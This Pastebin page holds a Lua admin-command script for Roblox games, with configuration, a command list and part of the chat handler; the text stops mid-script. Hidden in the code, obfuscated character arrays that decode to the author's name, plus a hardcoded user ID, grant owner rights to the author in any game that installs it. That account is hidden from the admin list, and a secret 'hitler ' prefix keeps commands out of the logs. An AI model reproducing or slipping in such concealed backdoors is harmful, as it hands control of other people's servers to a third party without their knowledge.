Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -----------------------------------------------------------------------------------------
- -- Thanx for using mah admin script I'd appreciate credit if you used in your place c: --
- -----------------------------------------------------------------------------------------
- local owners = {"GameMakerNameHere"} -- Are able to set admins who can ban/etc... using :pa name
- local admins = {"FriendsHere"} -- Sets admins who can use ban/kick/admin or shutdown
- local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
- local banland = {"NoobsWillBeBanHere"} -- Permanently Bans people
- local prefix = "-" -- If you wanna change how your commands start ':'kill noob
- local AutoUpdate = true -- Set to false if you don't want it to automatically update
- local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
- ---------------------
- -- VIP Admin --
- ---------------------
- local VipAdmin = false -- If someone can have admin for owning an item
- local ItemId = 1234 -- The item they must own in order to have admin (Just remove those numbers, And Put the t-shirt ID)
- ---------------------
- -- Group Admin --
- ---------------------
- local GroupAdmin = true -- If a certain group can have admin
- local GroupId = 1141758 -- Sets the group id that can have admin (Just remove those numbers, And put the ID)
- local GroupRank = 254 -- Sets what rank and above a person has to be in the group to have admin (Just remove those numbers, And put the ID)
- ---------------------
- -- Tips and Tricks --
- ---------------------
- --[[
- With this admin you can do a command on multiple people at a time;
- :kill me,noob1,noob2,random,team-raiders,nonadmins
- You can also use a variety commands for different people;
- all
- others
- me
- team-
- admins
- nonadmins
- random
- --]]
- ---------------------
- -- Commands --
- ---------------------
- --[[
- -- |Temp Admin Commands| --
- 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
- 1. :s print("Hello World") -- Lets you script normally
- 2. :ls print("Hello World") -- Lets you script in localscripts
- 3. :clear -- Will remove all scripts/localscripts and jails
- 4. :m Hello People -- This commands will let you shout a message to everyone on the server
- 5. :kill kohl -- Kills the player
- 6. :respawn kohl -- Respawns the player
- 7. :trip kohl -- Trips the player
- 8. :stun kohl -- Stuns the player
- 9. :unstun kohl -- Unstuns the player
- 10. :jump kohl -- Makes the player jump
- 11. :sit kohl -- Makes the player sit
- 12. :invisible kohl -- Makes the player invisible
- 13. :visible kohl -- Makes the player visible
- 14. :explode kohl -- Makes the player explode
- 15. :fire kohl -- Sets the player on fire
- 16. :unfire kohl -- Removes fire from the player
- 17. :smoke kohl -- Adds smoke to the player
- 18. :unsmoke kohl -- Removes smoke from the player
- 19. :sparkles kohl -- Adds sparkles to the player
- 20. :unsparkles kohl -- Removes sparkles from the player
- 21. :ff kohl -- Adds a forcefield to the player
- 22. :unff kohl -- Removes the forcefield from the player
- 23. :punish kohl -- Punishes the player
- 24. :unpunish kohl -- Unpunishes the player
- 25. :freeze kohl -- Freezes the player
- 26. :thaw kohl -- Thaws the player
- 27. :heal kohl -- Heals the player
- 28. :god kohl -- Makes the player have infinite health
- 29. :ungod kohl -- Makes the player have 100 health
- 30. :ambient .5 .5 .5 -- Changes the ambient
- 31. :brightness .5 -- Changes the brightness
- 32. :time 12 -- Changes the time
- 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
- 34. :fogend 100 -- Changes the fogend
- 35. :fogstart 100 -- Changes the fogstart
- 36. :removetools kohl -- Removes all tools from the player
- 37. :btools kohl -- Gives the player building tools
- 38. :give kohl sword -- Gives the player a tool
- 39. :damage kohl -- Damages the player
- 40. :grav kohl -- Sets the player's gravity to normal
- 41. :setgrav kohl 100 -- Sets the player's gravity
- 42. :nograv kohl -- Makes the player have 0 gravity
- 43. :health kohl 1337 -- Changes the player's health
- 44. :speed kohl 1337 -- Changes the player's walkspeed
- 45. :name kohl potato -- Changes the player's name
- 46. :unname kohl -- Remove the player's name
- 47. :team kohl Raiders -- Changes the player's team
- 48. :stopmusic -- Will stop all music playing in the server
- 49. :teleport kohl potato -- Teleports the player
- 50. :change kohl kills 1337 -- Changes a player's stat
- 51. :kick kohl -- Removes the player from the game
- 52. :infect kohl -- Turns the player into a zombie
- 53. :rainbowify kohl -- Turns the player into a rainbow
- 54. :flashify kohl -- Turns the player into a strobe
- 55. :noobify kohl -- Turns the player into a noob
- 56. :ghostify kohl -- Turns the player into a ghost
- 57. :goldify kohl -- Turns the player into gold
- 58. :shiny kohl -- Makes the player shiny
- 59. :normal kohl -- Puts the player back to normal
- 60. :trippy kohl -- Spams random colors on the player's screen
- 61. :untrippy kohl -- Untrippys the player
- 62. :strobe kohl -- Spams white and black on the player's screen
- 63. :unstrobe kohl -- Unstrobes the player
- 64. :blind kohl -- Blinds the player
- 65. :unblind kohl -- Unblinds the player
- 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
- 67. :fling kohl -- Flings the player
- 68. :seizure kohl -- Puts the player in a seizure
- 69. :music 1337 -- Plays a sound from the ID
- 70. :lock kohl -- Locks the player
- 71. :unlock kohl -- Unlocks the player
- 72. :removelimbs kohl -- Removes the player's limbs
- 73. :jail kohl -- Puts the player in a jail
- 74. :unjail kohl -- Removes the jail from the player
- 75. :fix -- This will fix the lighting to it's original settings
- 76. :fly kohl -- Makes the player fly
- 77. :unfly kohl -- Removes fly from the player
- 78. :noclip kohl -- Makes the player able to noclip
- 79. :clip kohl -- Removes noclipping from the player
- 80. :pm kohl Hey bro -- Sends the player a private message
- 81. :dog kohl -- Turns the player into a dog
- 82. :undog kohl -- Turns the player back to normal
- 83. :creeper kohl -- Turns the player into a creeper
- 84. :uncreeper kohl -- Turns the player back to normal
- 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
- 86. :char kohl 261 -- Will make a player look like a different player ID
- 87. :unchar kohl -- Will return the player back to normal
- 88. :h Hello People -- This will shout a hint to everyone
- 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
- 90. :starttools kohl -- Will give the player starter tools
- 91. :sword kohl -- Will give the player a sword
- 92. :bighead kohl -- Will make the player's head larger than normal
- 93. :minihead kohl -- Will make the player's head smaller than normal
- 94. :insert 1337 -- Will insert a model at the speaker's position
- 95. :disco -- Will make the server flash random colors
- 96. :flash -- Will make the server flash
- 97. :admins -- Shows the admin list
- 98. :bans -- Shows the banlist
- 99. :musiclist -- Shows the music list
- 100. :spin kohl -- Spins the player
- 101. :cape kohl Really black -- Gives the player a colored cape
- 102. :uncape kohl -- Removes the player's cape
- 103. :loopheal kohl -- Will constantly heal the player
- 104. :loopfling kohl -- Will constantly fling the player
- 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
- 106. :unloopheal kohl -- Will remove the loopheal on the player
- 107. :unloopfling kohl -- Will remove the loopfling on the player
- 108. :unspin kohl -- Removes spin from the player
- 109. :tools -- Gives a list of the tools in the lighting
- 110. :undisco -- Removes disco effects
- 111. :unflash -- Removes flash effects
- 112. :resetstats kohl -- Sets all the stats of a player to 0
- 113. :gear kohl 1337 -- Gives a player a gear
- 114. :cmdbar -- Gives the speaker a command bar
- 115. :shirt kohl 1337 -- Changes the player's shirt
- 116. :pants kohl 1337 -- Changes the player's pants
- 117. :face kohl 1337 -- Changes the player's face
- 118. :swagify kohl -- Swagifies the player
- 119. :version -- Shows the current version of the admin
- 120. :tm 1337 yolo -- Shows a message for 1337 seconds
- 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
- 122. :clone kohl -- Creates a clone of the player
- 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
- 124. :startergive kohl epic -- Gives a player a gear in their starterpack
- 125. :control kohl -- Controls a player
- -- |Admin Commands| --
- - :serverlock -- Locks the server
- - :serverunlock -- Unlocks the server
- - :sm Hello World -- Creates a system message
- - :crash kohl -- Crashes a player
- - :admin kohl -- Admins a player
- - :unadmin kohl -- Unadmins a player
- - :ban kohl -- Bans a player
- - :unban kohl -- Unbans a player
- - :loopkill kohl -- Will constantly kill the player
- - :unloopkill kohl -- Will remove the loopkill on the player
- - :logs -- Will show all of the commands any admin has used in a game session
- - :shutdown -- Shutsdown the server
- -- |Owner Commands| --
- - :pa kohl -- Makes someone a super admin
- - :unpa kohl -- Removes a super admin
- - :nuke kohl -- Creates a nuke on kohl
- -- |True Owner Commands| --
- - :oa kohl -- Makes someone an owner
- - :unoa kohl -- Removes an owner
- - :settings -- Shows settings for the commands
- --]]
- ---------------------
- -- Main Script --
- ---------------------
- for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
- function CHEESE()
- if game:service("Lighting"):findFirstChild("KACV2") then
- owners = {} admins = {} tempadmins = {} banland = {}
- for i,v in pairs(game.Lighting.KACV2:children()) do
- if v.Name == "Owner" then table.insert(owners, v.Value) end
- if v.Name == "Admin" then table.insert(admins, v.Value) end
- if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
- if v.Name == "Banland" then table.insert(banland, v.Value) end
- if v.Name == "Prefix" then prefix = v.Value end
- if v.Name == "FunCommands" then FunCommands = v.Value end
- if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
- if v.Name == "GroupId" then GroupId = v.Value end
- if v.Name == "GroupRank" then GroupRank = v.Value end
- if v.Name == "VipAdmin" then VipAdmin = v.Value end
- if v.Name == "ItemId" then ItemId = v.Value end
- end
- game:service("Lighting"):findFirstChild("KACV2"):Destroy()
- end
- local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
- local lobjs = {}
- local objects = {}
- local logs = {}
- local nfs = ""
- local slock = false
- function GetTime()
- local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
- if min < 10 then min = "0"..min end
- return hour..":"..min
- end
- function ChkOwner(str)
- for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
- return false
- end
- function ChkAdmin(str,ck)
- for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
- for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
- for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
- return false
- end
- function ChkGroupAdmin(plr)
- if GroupAdmin then
- if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
- return false
- end
- end
- function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
- function GetPlr(plr, str)
- local plrz = {} str = str:lower()
- if str == "owl" then plrz = game.Players:children()
- elseif str == "dolphins" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
- else
- local sn = {1} local en = {}
- for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
- for x = 1, #sn do
- if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
- elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
- elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "ardmarns") or (sn[x] and str:sub(sn[x]) == "ardmarns") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
- elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonardmarns") or (sn[x] and str:sub(sn[x]) == "nonardmarns") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
- elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
- if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
- for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
- end end end
- elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
- if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
- for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
- end end end
- else
- for a, plyr in pairs(game.Players:children()) do
- if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
- table.insert(plrz, plyr) break
- end
- end
- end
- end
- end
- return plrz
- end
- function Hint(str, plrz, time)
- for i, v in pairs(plrz) do
- if v and v:findFirstChild("PlayerGui") then
- coroutine.resume(coroutine.create(function()
- local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
- local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
- local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
- coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
- if not time then wait((#str/19)+2.5) else wait(time) end
- coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
- end))
- end
- end
- end
- function Message(ttl, str, scroll, plrz, time)
- for i, v in pairs(plrz) do
- if v and v:findFirstChild("PlayerGui") then
- coroutine.resume(coroutine.create(function()
- local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
- local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
- local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
- local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
- scr.Parent = v.PlayerGui
- coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
- if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
- else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
- coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
- end))
- end
- end
- end
- function RemoveMessage()
- for i,v in pairs(game.Players:children()) do
- if v and v:findFirstChild("PlayerGui") then
- for q,ms in pairs(v.PlayerGui:children()) do
- if ms.Name == "MessageGUI" then
- coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
- elseif ms.Name == "HintGUI" then
- coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
- end
- end
- end
- end
- end
- _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
- _G["Admin"] = function(dood) table.insert(tempadmins, dood) end
- _G["RemoveMessage"] = RemoveMessage()
- function Output(str, plr)
- coroutine.resume(coroutine.create(function()
- local b, e = loadstring(str)
- if not b and plr:findFirstChild("PlayerGui") then
- local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
- local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
- local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
- return
- end
- end))
- end
- function Noobify(char)
- if char and char:findFirstChild("Torso") then
- if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
- if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
- for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
- local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
- for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
- if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
- local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
- cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
- end end
- end
- end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
- function ScrollGui()
- local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
- local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
- drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
- local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
- local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
- local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
- local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
- local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
- local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
- local num = 0
- local downv = false
- local upv = false
- down.MouseButton1Down:connect(function() downv = true upv = false
- local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
- repeat pos = pos + UDim2.new(0,0,0,-6)
- if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
- cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
- end)
- down.MouseButton1Up:connect(function() downv = false end)
- up.MouseButton1Down:connect(function() upv = true downv = false
- local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
- repeat pos = pos + UDim2.new(0,0,0,6)
- if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
- cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
- end)
- up.MouseButton1Up:connect(function() upv = false end)
- return scr, cmf, ent, num
- end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
- if not ntab then script:Destroy() end
- if not bct then script:Destroy() end
- function Chat(msg,plr)
- coroutine.resume(coroutine.create(function()
- if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
- if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
- if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
- if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
- if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
- if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
- if msg:lower() == "cmds" or msg:lower() == "commands" then
- if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
- local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
- local cmds = {"fix","admins","age plr","name plr name","unname plr","music num","stopmusic","pm plr msg","musiclist"}
- local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
- local ost = {"pa plr","unpa plr","nuke plr"}
- local tost = {"oa plr","unoa plr","settings"}
- local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
- for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- end
- if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
- if msg:lower() == "admins" or msg:lower() == "adminlist" then
- if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
- local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
- for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- end end
- if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
- game.Lighting.Ambient = origsettings.abt
- game.Lighting.Brightness = origsettings.brt
- game.Lighting.TimeOfDay = origsettings.time
- game.Lighting.FogColor = origsettings.fclr
- game.Lighting.FogEnd = origsettings.fe
- game.Lighting.FogStart = origsettings.fs
- for i, v in pairs(lobjs) do v:Destroy() end
- for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
- end
- if msg:lower():sub(1,3) == "pm " then
- local chk1 = msg:lower():sub(4):find(" ") + 3
- local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
- Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
- end
- if msg:lower() == "respawn me" then
- plr:LoadCharacter()
- end
- if msg:lower():sub(1,4) == "age " then
- local plrz = GetPlr(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
- end))
- end
- end
- ---------------------
- -- FunCommands --
- ---------------------
- if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
- if msg:lower():sub(1,6) == "music " then
- for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
- local id = msg:sub(7)
- local pitch = 1
- if tostring(id):lower():find("caramell") then id = 2303479 end
- if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
- if tostring(id):find("rick") then id = 2027611 end
- if tostring(id):find("halo") then id = 1034065 end
- if tostring(id):find("pokemon") then id = 1372261 end
- if tostring(id):find("cursed") then id = 1372257 end
- if tostring(id):find("extreme") then id = 11420933 end
- if tostring(id):find("awaken") then id = 27697277 end
- if tostring(id):find("alone") then id = 27697392 end
- if tostring(id):find("mario") then id = 1280470 end
- if tostring(id):find("choir") then id = 1372258 end
- if tostring(id):find("chrono") then id = 1280463 end
- if tostring(id):find("dotr") then id = 11420922 end
- if tostring(id):find("entertain") then id = 27697267 end
- if tostring(id):find("fantasy") then id = 1280473 end
- if tostring(id):find("final") then id = 1280414 end
- if tostring(id):find("emblem") then id = 1372259 end
- if tostring(id):find("flight") then id = 27697719 end
- if tostring(id):find("banjo") then id = 27697298 end
- if tostring(id):find("gothic") then id = 27697743 end
- if tostring(id):find("hiphop") then id = 27697735 end
- if tostring(id):find("intro") then id = 27697707 end
- if tostring(id):find("mule") then id = 1077604 end
- if tostring(id):find("film") then id = 27697713 end
- if tostring(id):find("nezz") then id = 8610025 end
- if tostring(id):find("angel") then id = 1372260 end
- if tostring(id):find("resist") then id = 27697234 end
- if tostring(id):find("schala") then id = 5985787 end
- if tostring(id):find("organ") then id = 11231513 end
- if tostring(id):find("tunnel") then id = 9650822 end
- if tostring(id):find("spanish") then id = 5982975 end
- if tostring(id):find("venom") then id = 1372262 end
- if tostring(id):find("wind") then id = 1015394 end
- if tostring(id):find("guitar") then id = 5986151 end
- local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
- end
- if msg:lower() == "stopmusic" then
- for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
- end
- if msg:lower() == "musiclist" then
- if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
- local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
- local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
- for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- end
- if msg:lower():sub(1,5) == "name " then
